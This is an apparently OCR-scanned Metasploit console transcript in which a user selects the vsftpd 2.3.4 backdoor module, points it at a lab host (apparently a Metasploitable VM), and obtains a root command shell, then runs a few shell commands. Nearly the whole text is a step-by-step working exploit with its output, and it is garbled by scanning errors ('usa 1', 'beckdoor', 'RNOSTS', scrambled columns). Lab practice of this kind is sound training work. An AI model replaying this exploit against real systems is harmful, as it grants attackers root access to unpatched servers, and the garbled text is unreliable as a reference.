```
******
                                              ********
                                              *********
                              ## ## ##
https://metasploit.com
-[ metasploit v6.3.27-dev
+ -- ---[ 2335 exploits - 1220 auxiliary - 413 post
+ -- ---[ 1385 payloads - 46 encoders - 11 nops
+ -- ---[ 9 evasion
Metasploit tip: Use the edit command to open the currently active module in your editor Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd
Matching Modules
    # Name
                                                            Disclosure Date Rank
    0 auxiliary/dos/ftp/vsftpd_232 2011-02-03
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03
                                                                                     normal Yes
excellent No
                                                                                     normal
                                                                                                              VSFTPD 2.3.2 Denial of Service
                                                                                                              VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > usa 1
1-1 Unknown command: usa
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_beckdoor) > help
```

```
Mame: VSFTPD V2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <a href="https://docs.metasploit.com">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit.html

Basic options:
Name
Current Setting Required Description
RNOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
```

```
rhost ⇒ 192.168.1.149
<u>msf6</u> exploit(<u>unix/ftp/vsftpd_234_backdoor</u>) > info
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>
Available targets:
Id Name
 ⇒ 0 Automatic
Check supported:
Basic options:
Name Current Setting Required Description
 RHOSTS 192.168.1.149 yes
RPORT 21 yes
                               The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html The target port (TCP)
Payload information:
Space: 2000
Avoid: 0 characters
Description:
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
View the full module info with the info -d command.
msf6 exploit(umix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid-0(root) gid-0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.60:35273 → 192.168.1.149:6200) at 2023-11-06 16:22:08 +0100
sudo su
mkdir test_metasploit
cd /
Last login: Mon Nov 6 06:09:41 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ cd &
[1] 4750
[1]+ Done
                                                     cd
msfadmin@metasploitable:~$ cd/
-bash: cd/: No such file or directory
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin
            dev
                     initrd
                                           lost+found
                                                                  nohup.out
                                                                                     root
                                                                                                รบร
                                                                                                                               usr
boot
                       initrd.img media
            etc
                                                                  opt
                                                                                      sbin
                                                                                                test_metasploit
                                                                                                                               var
cdrom home lib
                                                                                                                               vmlinuz
                                            mnt
                                                                  proc
                                                                                      srv
                                                                                                tmp
msfadmin@metasploitable:/$
msfadmin@metasploitable:/$
```